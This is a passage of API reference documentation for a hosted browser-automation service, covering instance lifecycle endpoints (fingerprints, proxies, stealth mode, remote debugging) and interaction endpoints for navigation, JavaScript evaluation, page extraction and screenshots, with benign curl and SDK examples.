[View Browser Interaction &rarr;](/api/browser/interaction/)




Inspect metadata, manage tabs, and control individual browser sessions.

[View Instance Control &rarr;](/api/browser/control/)




Monitor server health and performance metrics across browser instances.

[View Health & Metrics &rarr;](/api/browser/health/)





All Browser API endpoints require a valid authentication token. Ensure your token has the appropriate browser permissions before making requests.

---

# Instance Management

**Page:** api/browser/instance-management

[Download Raw Markdown](./api/browser/instance-management.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Instance Management

The Instance Management endpoints let you start, stop, and restart browser instances. Each instance is uniquely identified by a `browser_id` (0-based index), and multiple instances can run concurrently with different configurations. Use these endpoints to manage the full lifecycle of an isolated browser session, including custom fingerprints, proxies, extensions, and DevTools remote debugging.

---

### `GET` `/start`

Creates a new browser instance, or returns metadata for an existing one when the same `browser_id` is reused. This is the primary endpoint for explicitly creating browser instances.

The response includes the `webSocketDebuggerUrl` field, which provides the Chrome DevTools WebSocket endpoint for remote debugging (only populated when `useRemoteDebuggingPort: true`).


  The server **blocks** the request while the specified browser is downloaded into `BROWSERS_DIR` if the version is not already cached locally.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `chromiumVersion` | query | string | No | Chromium/Chrome version selection. Only applies when `browser=chromium`. Supports full version (`136.0.7103.113`), major version (`136`), or channel tag (`stable`, `beta`, `dev`, `canary`) |
| `fingerprintId` | query | string | No | Base fingerprint profile id. The server loads `storage/config/fingerprints/&lt;fingerprintId&gt;.json` and applies its `context` and `launch` defaults, then applies request overrides |
| `useRemoteDebuggingPort` | query | boolean | No (default: `true`) | Launch Chromium with `--remote-debugging-port` and populate `webSocketDebuggerUrl` in metadata |
| `remoteDebuggingPort` | query | integer | No | Fixed DevTools port. Only used when `useRemoteDebuggingPort=true`; otherwise a free port is chosen |
| `remoteDebuggingAddress` | query | string | No | Interface address for DevTools. Defaults to `127.0.0.1`. Use `0.0.0.0` only in trusted environments |
| `extensions` | query | string | No | Comma-separated list (or JSON array string) of absolute extension directory paths. Requires `showBrowser=true` |
| `extensionsDir` | query | string | No | Directory containing extension subfolders. Each subfolder is treated as an extension. Requires `showBrowser=true` |
| `extensionsStoreIds` | query | string | No | Comma-separated list (or JSON array string) of Chrome Web Store extension IDs to download and load. Requires `showBrowser=true` and `browser=chromium` |
| `proxyServer` | query | string | No | Proxy server URL. Supports `http://`, `https://`, `socks5://`, or `socks5h://` |
| `proxyUsername` | query | string | No | Proxy username |
| `proxyPassword` | query | string | No | Proxy password |
| `proxyBypass` | query | string | No | Comma-separated list of hosts that should bypass the proxy |
| `enableQuic` | query | boolean | No (default: `false`) | Enable QUIC/HTTP3 transport. QUIC is blocked by default |
| `enableDnsOverHttps` | query | boolean | No (default: `true`) | Enable DNS-over-HTTPS for browser DNS resolution |
| `dnsOverHttpsUrl` | query | string | No (default: `"https://cloudflare-dns.com/dns-query"`) | DoH resolver URL (HTTPS only) |
| `display` | query | integer \| string | No | X display number or identifier for headful mode. Required when `showBrowser=true` and no `DISPLAY` env var is set |
| `showBrowser` | query | boolean | No (default: `true`) | Whether to run the browser headful (visible) |
| `sessionName` | query | string | No | Custom session name for identifying this browser instance |
| `timezoneId` | query | string | No | IANA timezone identifier for browser geolocation |
| `locale` | query | string | No | BCP 47 language tag for browser locale |
| `userAgent` | query | string | No | User agent string to apply to the browser context |
| `viewport` | query | string | No | Viewport configuration as JSON string. Example: `{"width":1920,"height":1080,"deviceScaleFactor":1}` |
| `geolocation` | query | string | No | Geolocation configuration as JSON string. Example: `{"latitude":40.7128,"longitude":-74.0060,"accuracy":100}` |
| `stealth` | query | boolean | No (default: `true`) | Launch Chromium in stealth mode using Patchright. Only applies to `browser=chromium`; ignored for Firefox |
| `iframe` | query | boolean | No (default: `true`) | Enable or disable the full-page display iframe on the root URL |
| `iframe_url` | query | string | No | Explicit URL for the display iframe. If omitted, the URL is auto-detected from the Host header subdomain pattern |

#### Response



```json
{
  "engine": "playwright",
  "stealth": true,
  "headless": false,
  "chromiumBuildId": "136.0.7103.113",
  "chromiumExecutablePath": "/hoody/storage/hoody-browser/chrome/chrome/linux-136.0.7103.113/chrome-linux64/chrome",
  "browserExecutablePath": "/hoody/storage/hoody-browser/chrome/chrome/linux-136.0.7103.113/chrome-linux64/chrome",
  "fingerprintId": "default",
  "display": ":0",
  "iframe_url": null,
  "browser_id": "0",
  "browser_host": "0.localhost",
  "browser_port": 9222,
  "sessionId": "b6e7d6f4-8d1e-4f3a-9b2c-1d4e5f6g7h8i",
  "sessionName": "primary",
  "timezoneId": "America/New_York",
  "locale": "en-US",
  "geolocation": {
    "latitude": 40.7128,
    "longitude": -74.006,
    "accuracy": 100
  },
  "viewport": {
    "width": 1920,
    "height": 1080,
    "deviceScaleFactor": 1
  },
  "userAgentString": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.7103.113 Safari/537.36",
  "browserName": "chromium",
  "browserFullVersion": "136.0.7103.113",
  "operatingSystemName": "Linux",
  "operatingSystemPlatform": "linux",
  "operatingSystemVersion": "5.15.0",
  "renderingEngine": "Blink",
  "renderingEngineVersion": "136.0.7103.113",
  "webSocketDebuggerUrl": "ws://example.com:35791/devtools/browser/b6e7d6f4-8d1e-4f3a-9b2c-1d4e5f6g7h8i",
  "devtoolsHttpUrl": "http://example.com:35791/json/version",
  "devtoolsFrontendUrl": "https://abc123-def456-http-9222.containers.hoody.icu",
  "extensions": [],
  "useRemoteDebuggingPort": true,
  "remoteDebuggingPort": 35791,
  "remoteDebuggingAddress": "0.0.0.0",
  "quicDisabled": true,
  "http3Disabled": true,
  "dnsOverHttpsEnabled": true,
  "dnsOverHttpsUrl": "https://cloudflare-dns.com/dns-query",
  "tabs": [
    {
      "id": 1,
      "url": "https://example.com"
    }
  ]
}
```


```json
{
  "error": "Invalid value for parameter `chromiumVersion`",
  "code": "VALIDATION_ERROR",
  "details": {
    "parameter": "chromiumVersion",
    "constraint": "must be a valid version string, major number, or channel tag"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Validation Error | One or more request parameters failed validation | Check the error details for the specific parameter and constraint that failed |
| `INVALID_BROWSER_ID` | Invalid Browser ID | The `browser_id` value is invalid | Provide a valid `browser_id` |


```json
{
  "error": "Existing instance was launched with stealth=false; cannot switch to stealth=true without restart",
  "code": "INSTANCE_BACKEND_MISMATCH",
  "details": {
    "browser_id": "0",
    "existingStealth": false,
    "requestedStealth": true
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSTANCE_BACKEND_MISMATCH` | Instance Backend Mismatch | The existing instance was launched with a different stealth mode/backend | Stop the running instance first, then start again with the new stealth mode |


```json
{
  "error": "Failed to create browser instance: insufficient resources",
  "code": "INSTANCE_CREATE_FAILED",
  "details": {
    "browser_id": "0"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSTANCE_CREATE_FAILED` | Instance Creation Failed | The browser instance could not be created | Check server logs for details. Ensure sufficient system resources are available |
| `CHROME_NOT_FOUND` | Chrome Not Found | The Chrome/Chromium binary was not found at the expected path | Ensure Chrome is installed or provide a valid `chromiumVersion` parameter to trigger download |



#### SDK Usage

```ts
const instance = await client.browser.instances.start({
  browser_id: "0",
  chromiumVersion: "136",
  timezoneId: "America/New_York",
  locale: "en-US",
  stealth: true,
});
```

---

### `GET` `/stop`

Stops an active browser instance for the provided `browser_id`. This terminates the child process and releases its resources.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |

#### Response



```json
{
  "message": "Stopped",
  "meta": {
    "engine": "playwright",
    "stealth": true,
    "headless": false,
    "browser_id": "0",
    "browser_host": "0.localhost",
    "browser_port": 9222,
    "sessionId": "b6e7d6f4-8d1e-4f3a-9b2c-1d4e5f6g7h8i",
    "sessionName": "primary"
  }
}
```


```json
{
  "error": "No browser instance found for browser_id=0",
  "code": "INSTANCE_NOT_FOUND",
  "details": {
    "browser_id": "0"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSTANCE_NOT_FOUND` | Instance Not Found | No browser instance exists for the specified `browser_id` | Verify the `browser_id` value, or create a new instance using `/start` |



#### SDK Usage

```ts
const result = await client.browser.instances.stop({
  browser_id: "0",
});
```

---

### `GET` `/restart`

Stops and recreates a browser instance using the provided configuration. Accepts the same parameters as `/start`, plus additional options for Firefox, custom launch arguments, and DevTools port configuration.


  If the existing instance was launched with a different stealth backend, the call returns `409 INSTANCE_BACKEND_MISMATCH`. Stop the instance first, then start it again with the new stealth mode.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `chromiumVersion` | query | string | No | Chromium/Chrome version selection. Only applies when `browser=chromium`. Supports full version (`136.0.7103.113`), major version (`136`), or channel tag (`stable`, `beta`, `dev`, `canary`) |
| `fingerprintId` | query | string | No | Base fingerprint profile id. The server loads `storage/config/fingerprints/&lt;fingerprintId&gt;.json` and applies its `context` and `launch` defaults, then applies request overrides |
| `useRemoteDebuggingPort` | query | boolean | No (default: `true`) | Launch Chromium with `--remote-debugging-port` and populate `webSocketDebuggerUrl` in metadata |
| `remoteDebuggingPort` | query | integer | No | Fixed DevTools port. Only used when `useRemoteDebuggingPort=true`; otherwise a free port is chosen |
| `remoteDebuggingAddress` | query | string | No | Interface address for DevTools. Defaults to `127.0.0.1`. Use `0.0.0.0` only in trusted environments |
| `extensions` | query | string | No | Comma-separated list (or JSON array string) of absolute extension directory paths. Requires `showBrowser=true` |
| `extensionsDir` | query | string | No | Directory containing extension subfolders. Each subfolder is treated as an extension. Requires `showBrowser=true` |
| `extensionsStoreIds` | query | string | No | Comma-separated list (or JSON array string) of Chrome Web Store extension IDs. Requires `showBrowser=true` and `browser=chromium` |
| `proxyServer` | query | string | No | Proxy server URL (http, https, socks5, socks5h) |
| `proxyUsername` | query | string | No | Proxy username |
| `proxyPassword` | query | string | No | Proxy password |
| `proxyBypass` | query | string | No | Comma-separated list of hosts that should bypass the proxy |
| `enableQuic` | query | boolean | No (default: `false`) | Enable QUIC/HTTP3 transport. QUIC is blocked by default |
| `enableDnsOverHttps` | query | boolean | No (default: `true`) | Enable DNS-over-HTTPS for browser DNS resolution |
| `dnsOverHttpsUrl` | query | string | No (default: `"https://cloudflare-dns.com/dns-query"`) | DoH resolver URL (HTTPS only) |
| `display` | query | integer \| string | No | X display number or identifier for headful mode. Required when `showBrowser=true` and no `DISPLAY` env var is set |
| `showBrowser` | query | boolean | No (default: `true`) | Whether to run the browser headful (visible) |
| `sessionName` | query | string | No | Custom session name for identifying this browser instance |
| `timezoneId` | query | string | No | IANA timezone identifier for browser geolocation |
| `locale` | query | string | No | BCP 47 language tag for browser locale |
| `userAgent` | query | string | No | User agent string to apply to the browser context |
| `viewport` | query | object | No | Viewport configuration. Example: `{"width":1920,"height":1080,"deviceScaleFactor":1}` |
| `geolocation` | query | object | No | Geolocation configuration. Example: `{"latitude":40.7128,"longitude":-74.0060,"accuracy":100}` |
| `launchArguments` | query | array | No | Additional browser launch arguments (repeatable or JSON array) |
| `browser` | query | string | No (default: `"chromium"`) | Browser engine to use (`chromium` or `firefox`) |
| `firefoxVersion` | query | string | No | Firefox version label (informational only). Playwright-managed Firefox builds are used by default |
| `firefoxExecutablePath` | query | string | No | Absolute path to a custom Firefox executable (overrides download) |
| `showDevtools` | query | boolean | No (default: `false`) | Whether to open DevTools on launch (Chromium only) |
| `userProfile` | query | object | No | Optional user profile object (JSON string) for fingerprinting defaults |
| `stealth` | query | boolean | No (default: `true`) | Launch Chromium in stealth mode using Patchright. Only applies to `browser=chromium`; ignored for Firefox |
| `iframe` | query | boolean | No (default: `true`) | Enable or disable the full-page display iframe on the root URL |
| `iframe_url` | query | string | No | Explicit URL for the display iframe |

#### Response



```json
{
  "message": "Restarted",
  "meta": {
    "engine": "playwright",
    "stealth": true,
    "headless": false,
    "browser_id": "0",
    "browser_host": "0.localhost",
    "browser_port": 9222,
    "sessionId": "b6e7d6f4-8d1e-4f3a-9b2c-1d4e5f6g7h8i",
    "sessionName": "primary"
  }
}
```


```json
{
  "error": "Invalid value for parameter `chromiumVersion`",
  "code": "VALIDATION_ERROR",
  "details": {
    "parameter": "chromiumVersion",
    "constraint": "must be a valid version string, major number, or channel tag"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Validation Error | One or more request parameters failed validation | Check the error details for the specific parameter and constraint that failed |


```json
{
  "error": "No browser instance found for browser_id=0",
  "code": "INSTANCE_NOT_FOUND",
  "details": {
    "browser_id": "0"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSTANCE_NOT_FOUND` | Instance Not Found | No browser instance exists for the specified `browser_id` | Verify the `browser_id` value, or create a new instance using `/start` |


```json
{
  "error": "Existing instance was launched with stealth=false; cannot switch to stealth=true without restart",
  "code": "INSTANCE_BACKEND_MISMATCH",
  "details": {
    "browser_id": "0",
    "existingStealth": false,
    "requestedStealth": true
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSTANCE_BACKEND_MISMATCH` | Instance Backend Mismatch | The existing instance was launched with a different stealth mode/backend | Stop the running instance first, then start again with the new stealth mode |


```json
{
  "error": "Failed to restart browser instance: child process exited unexpectedly",
  "code": "RESTART_FAILED",
  "details": {
    "browser_id": "0"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `RESTART_FAILED` | Restart Failed | The browser instance could not be restarted | Check server logs for details. The instance may need to be manually stopped and recreated |



#### SDK Usage

```ts
const instance = await client.browser.instances.restart({
  browser_id: "0",
  chromiumVersion: "136",
  browser: "chromium",
  stealth: true,
  timezoneId: "America/New_York",
  locale: "en-US",
});
```

---

# Browser Interaction

**Page:** api/browser/interaction

[Download Raw Markdown](./api/browser/interaction.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Browser Interaction API provides endpoints to navigate to URLs, execute JavaScript in the browser context, extract page content (HTML, text, PDF), and capture screenshots. Use these endpoints to automate web interactions, scrape content, run scripts, and generate visual or document exports from a controlled browser instance.

All endpoints require a `browser_id` query parameter identifying the target browser instance, plus a `start` parameter that controls automatic instance creation. The `start` parameter works as follows: in default mode instances are created automatically (set `start=false` to prevent creation); when auto-start is disabled globally, set `start=true` to explicitly create a new instance.

---

## Navigation

### `GET /browse`

Opens a new tab (or reuses an existing one) and navigates to a URL.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `start` | query | boolean | No | Controls instance creation behavior. Default: `true` |
| `url` | query | string | No | The URL to navigate to |
| `tabId` | query | integer | No | The ID of the tab to interact with |
| `active` | query | boolean | No | Make the tab active (focused) after navigation. Default: `true` |
| `onlyIfNotExists` | query | boolean | No | Only create a new tab if no tab with the same URL exists. Default: `false` |
| `ignoreGetParameters` | query | boolean | No | Ignore query parameters when checking for existing URL. Default: `false` |

This endpoint takes no request body.



```bash
curl -G "https://api.hoody.com/api/browser/interaction/browse" \
  -H "Authorization: Bearer YOUR_API_KEY" \
  --data-urlencode "browser_id=0" \
  --data-urlencode "url=https://example.com" \
  --data-urlencode "active=true"
```


```typescript
const result = await client.browser.interaction.browse({
  browser_id: "0",
  url: "https://example.com",
  active: true
});
```


```json
{
  "tabId": 2,
  "url": "https://example.com/",
  "created": true,
  "reused": false
}
```


```json
{
  "error": "Missing URL parameter",
  "code": "MISSING_URL",
  "details": {
    "parameter": "url"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Validation Error | One or more request parameters failed validation | Check the error details for the specific parameter and constraint that failed |
| `MISSING_URL` | Missing URL | The required url parameter was not provided | Provide a valid url parameter in the request |



---

### `POST /browse`

Opens a new tab (or reuses an existing one) and navigates to a URL. Identical behavior to `GET /browse`, but accepts the parameters as a JSON request body.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `start` | query | boolean | No | Controls instance creation behavior. Default: `true` |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `url` | string | Yes | The URL to navigate to |
| `tabId` | integer | No | The ID of the tab to interact with |
| `active` | boolean | No | Make the tab active (focused) after navigation. Default: `true` |
| `onlyIfNotExists` | boolean | No | Only create a new tab if no tab with the same URL exists. Default: `false` |
| `ignoreGetParameters` | boolean | No | Ignore query parameters when checking for existing URL. Default: `false` |



```bash
curl -X POST "https://api.hoody.com/api/browser/interaction/browse?browser_id=0" \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "https://example.com",
    "active": true
  }'
```


```typescript
const result = await client.browser.interaction.browsePost({
  browser_id: "0",
  data: {
    url: "https://example.com",
    active: true
  }
});
```


```json
{
  "tabId": 3,
  "url": "https://example.com/",
  "created": true,
  "reused": false
}
```


```json
{
  "error": "Missing url field in request body",
  "code": "MISSING_URL",
  "details": {
    "field": "url"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Validation Error | One or more request parameters failed validation | Check the error details for the specific parameter and constraint that failed |
| `MISSING_URL` | Missing URL | The required url field was not provided in the request body | Provide a valid url field in the JSON request body |



---

## JavaScript Execution

### `GET /eval`

Executes a JavaScript snippet in the context of the last active tab.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `start` | query | boolean | No | Controls instance creation behavior. Default: `true` |
| `script` | query | string | Yes | JavaScript code to execute (can be base64 encoded) |

This endpoint takes no request body.



```bash
curl -G "https://api.hoody.com/api/browser/interaction/eval" \
  -H "Authorization: Bearer YOUR_API_KEY" \
  --data-urlencode "browser_id=0" \
  --data-urlencode "script=document.title"
```


```typescript
const result = await client.browser.interaction.evalGet({
  browser_id: "0",
  script: "document.title"
});
```


```json
{
  "result": "Example Domain"
}
```


```json
{
  "error": "Missing script parameter",
  "code": "MISSING_SCRIPT",
  "details": {
    "parameter": "script"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Validation Error | One or more request parameters failed validation | Check the error details for the specific parameter and constraint that failed |
| `MISSING_SCRIPT` | Missing Script | The required script parameter was not provided | Provide a valid script parameter in the query string |


```json
{
  "error": "No browser instance found for browser_id=0",
  "code": "INSTANCE_NOT_FOUND",
  "details": {
    "browser_id": "0"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSTANCE_NOT_FOUND` | Instance Not Found | No browser instance exists for the specified browser_id | Verify the browser_id value, or create a new instance using /start |



---

### `POST /eval`

Executes a JavaScript snippet provided in the request body. Accepts either a JSON body with a `script` field or a raw `text/plain` body containing the JavaScript code directly.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `start` | query | boolean | No | Controls instance creation behavior. Default: `true` |

### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `script` | string | No | JavaScript code to execute (when using `application/json`) |

Alternatively, send raw JavaScript as a `text/plain` body.



```bash
curl -X POST "https://api.hoody.com/api/browser/interaction/eval?browser_id=0" \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "script": "document.querySelectorAll(\"a\").length"
  }'
```


```typescript
const result = await client.browser.interaction.evalPost({
  browser_id: "0",
  data: {
    script: "document.querySelectorAll(\"a\").length"
  }
});
```


```json
{
  "result": 27
}
```


```json
{
  "error": "Missing script field in request body",
  "code": "MISSING_SCRIPT",
  "details": {
    "field": "script"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Validation Error | One or more request parameters failed validation | Check the error details for the specific parameter and constraint that failed |
| `MISSING_SCRIPT` | Missing Script | The required script field was not provided in the request body | Provide a valid script field in the JSON request body or raw JavaScript in the text/plain body |



---

## Page Content

### `GET /html`

Returns the full HTML content of the active page (equivalent to `document.documentElement.outerHTML`).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `tabId` | query | integer | No | The ID of the tab to interact with |
| `start` | query | boolean | No | Controls instance creation behavior. Default: `true` |

This endpoint takes no request body.



```bash
curl -G "https://api.hoody.com/api/browser/interaction/html" \
  -H "Authorization: Bearer YOUR_API_KEY" \
  --data-urlencode "browser_id=0"
```


```typescript
const html = await client.browser.page.getHtml({
  browser_id: "0"
});
```


```html
<!DOCTYPE html>
<html>
<head><title>Example Domain</title></head>
<body>
<div>
  <h1>Example Domain</h1>
  <p>This domain is for use in illustrative examples in documents.</p>
</div>
</body>
</html>
```



---

### `GET /text`

Returns the visible text content of the active page (equivalent to `document.body.innerText`).

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `tabId` | query | integer | No | The ID of the tab to interact with |
| `start` | query | boolean | No | Controls instance creation behavior. Default: `true` |

This endpoint takes no request body.



```bash
curl -G "https://api.hoody.com/api/browser/interaction/text" \
  -H "Authorization: Bearer YOUR_API_KEY" \
  --data-urlencode "browser_id=0"
```


```typescript
const text = await client.browser.page.getText({
  browser_id: "0"
});
```


```text
Example Domain
This domain is for use in illustrative examples in documents.
You may use this domain in literature without prior coordination or asking for permission.
More information...
```



---

### `GET /pdf`

Generates a PDF of the current page. Supports format, landscape, margins, and background options.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `tabId` | query | integer | No | The ID of the tab to interact with |
| `start` | query | boolean | No | Controls instance creation behavior. Default: `true` |
| `url` | query | string | No | Optional URL to navigate to before generating the PDF |
| `format` | query | string | No | Paper format (e.g. A4, Letter). Default: `"Letter"` |
| `landscape` | query | boolean | No | Use landscape orientation. Default: `false` |
| `printBackground` | query | boolean | No | Include background graphics. Default: `false` |
| `margin` | query | string | No | Uniform margin (e.g. '1cm', '0.5in') |

This endpoint takes no request body.



```bash
curl -G "https://api.hoody.com/api/browser/interaction/pdf" \
  -H "Authorization: Bearer YOUR_API_KEY" \
  --data-urlencode "browser_id=0" \
  --data-urlencode "format=A4" \
  --data-urlencode "landscape=false" \
  --data-urlencode "printBackground=true" \
  --data-urlencode "margin=1cm" \
  -o page.pdf
```


```typescript
const pdf = await client.browser.page.exportPdf({
  browser_id: "0",
  format: "A4",
  landscape: false,
  printBackground: true,
  margin: "1cm"
});
```


The response is a binary `application/pdf` document. Save the response body to a file (e.g. `page.pdf`) to view the rendered page.



---

## Screenshots

### `GET /screenshot`

Navigates to a URL and/or captures a screenshot of a browser tab.

**Navigation + Screenshot workflow**:
- If `url` is provided: Navigate to URL → Wait for page load → Capture screenshot
- If `url` is omitted: Capture screenshot of the current page state

**Key features**:
- Smart tab management with `onlyIfNotExists` to avoid duplicate tabs
- Multiple output formats: PNG, JPEG, or Base64-encoded
- Full page capture with `fullPage=true`
- Quality control for JPEG compression

**Common use cases**: visual regression testing, website monitoring, content verification.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `browser_id` | query | string | Yes | Unique identifier for the browser instance (0-based index) |
| `start` | query | boolean | No | Controls instance creation behavior. Default: `true` |
| `url` | query | string | No | The URL to navigate to |
| `tabId` | query | integer | No | The ID of the tab to interact with |
| `onlyIfNotExists` | query | boolean | No | Only create a new tab if no tab with the same URL exists. Default: `false` |
| `ignoreGetParameters` | query | boolean | No | Ignore query strings when checking for existing URL. Default: `false` |
| `format` | query | string | No | Output format. One of `png`, `jpeg`, `base64`. Default: `"png"` |
| `quality` | query | integer | No | Image quality for JPEG format (0-100) |
| `fullPage` | query | boolean | No | Capture the entire scrollable page. Default: `false` |

This endpoint takes no request body.



```bash
curl -G "https://api.hoody.com/api/browser/interaction/screenshot" \
  -H "Authorization: Bearer YOUR_API_KEY" \
  --data-urlencode "browser_id=0" \
  --data-urlencode "url=https://example.com" \
  --data-urlencode "format=png" \
  --data-urlencode "fullPage=true" \
  -o screenshot.png
```


```typescript
const screenshot = await client.browser.interaction.takeScreenshot({
  browser_id: "0",
  url: "https://example.com",
  format: "png",
  fullPage: true
});
```


The response body is a binary `image/png` (or `image/jpeg` depending on `format`). Save it to a file:

```
screenshot.png
```

For the `base64` format, the response is JSON:

```json
{
  "data": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII="
}
```


```json
{
  "error": "Invalid format value",
  "code": "VALIDATION_ERROR",
  "details": {
    "parameter": "format",
    "allowed": ["png", "jpeg", "base64"]
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Validation Error | One or more request parameters failed validation | Check the error details for the specific parameter and constraint that failed |


```json
{
  "error": "No browser instance found for browser_id=0",
  "code": "INSTANCE_NOT_FOUND",
  "details": {
    "browser_id": "0"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSTANCE_NOT_FOUND` | Instance Not Found | No browser instance exists for the specified browser_id | Verify the browser_id value, or create a new instance using /start |




For visual regression testing, use `fullPage=true` together with a deterministic `format=base64` to capture a reproducible image of the entire scrollable page. Combine with a stable `url` and `onlyIfNotExists=true` to ensure the test always runs against the same tab.

---

# Browser:Browser Interaction

**Page:** api/browser-browser-interaction

[Download Raw Markdown](./api/browser-browser-interaction.md)

---

## API Endpoints Summary

- **GET** `/screenshot` — Capture browser screenshot
- **GET** `/browse` — Navigate to URL
- **POST** `/browse` — Navigate to URL (POST)
- **GET** `/eval` — Execute JavaScript
- **POST** `/eval` — Execute JavaScript (POST)

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Browser:Browser State

**Page:** api/browser-browser-state

[Download Raw Markdown](./api/browser-browser-state.md)

---

## API Endpoints Summary

- **GET** `/cookies` — Get cookies
- **POST** `/cookies` — Set cookies
- **DELETE** `/cookies` — Clear all cookies

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Browser:Browsing History

**Page:** api/browser-browsing-history

[Download Raw Markdown](./api/browser-browsing-history.md)

---

## API Endpoints Summary

- **GET** `/history` — Query browsing history
- **DELETE** `/history` — Delete browsing history

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Browser:Debugging

**Page:** api/browser-debugging

[Download Raw Markdown](./api/browser-debugging.md)

---

## API Endpoints Summary

- **GET** `/console` — Get console logs
- **GET** `/network` — Get network logs

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Browser:Instance Management

**Page:** api/browser-instance-management

[Download Raw Markdown](./api/browser-instance-management.md)

---

## API Endpoints Summary

- **GET** `/start` — Create or retrieve browser instance
- **GET** `/stop` — Stop browser instance
- **GET** `/restart` — Restart browser instance

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Browser:Introspection & Control

**Page:** api/browser-introspection-control

[Download Raw Markdown](./api/browser-introspection-control.md)

---

## API Endpoints Summary

- **GET** `/metadata` — Get instance metadata
- **GET** `/tabs` — List browser tabs
- **POST** `/tab/close` — Close a browser tab
- **GET** `/shutdown` — Shutdown browser instance
- **GET** `/devtools-url` — Get DevTools URLs

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Browser:Page Content

**Page:** api/browser-page-content

[Download Raw Markdown](./api/browser-page-content.md)

---

## API Endpoints Summary

- **GET** `/html` — Get page HTML
- **GET** `/text` — Get page text
- **GET** `/pdf` — Export page as PDF

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Browser:Server Health & Metrics

**Page:** api/browser-server-health-metrics

[Download Raw Markdown](./api/browser-server-health-metrics.md)

---

## API Endpoints Summary

- **GET** `/api/v1/browser/health` — Health check

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Health Monitoring API

**Page:** api/code/health-monitoring

[Download Raw Markdown](./api/code/health-monitoring.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Health Monitoring

The Health Monitoring API provides lightweight diagnostics for Hoody Code instances. Use these endpoints to verify service availability, inspect runtime metrics, and detect available updates. The health check endpoint is excluded from heartbeat activity, so monitoring systems can poll it without extending the active lifetime of a Hoody Code process.

---

### `GET /api/v1/code/health`

Returns standardized service health status with process and runtime info. This endpoint does not count towards heartbeat activity, allowing health checks without keeping Hoody Code artificially alive.

This endpoint takes no parameters.



```bash
curl -X GET "https://api.hoody.com/api/v1/code/health" \
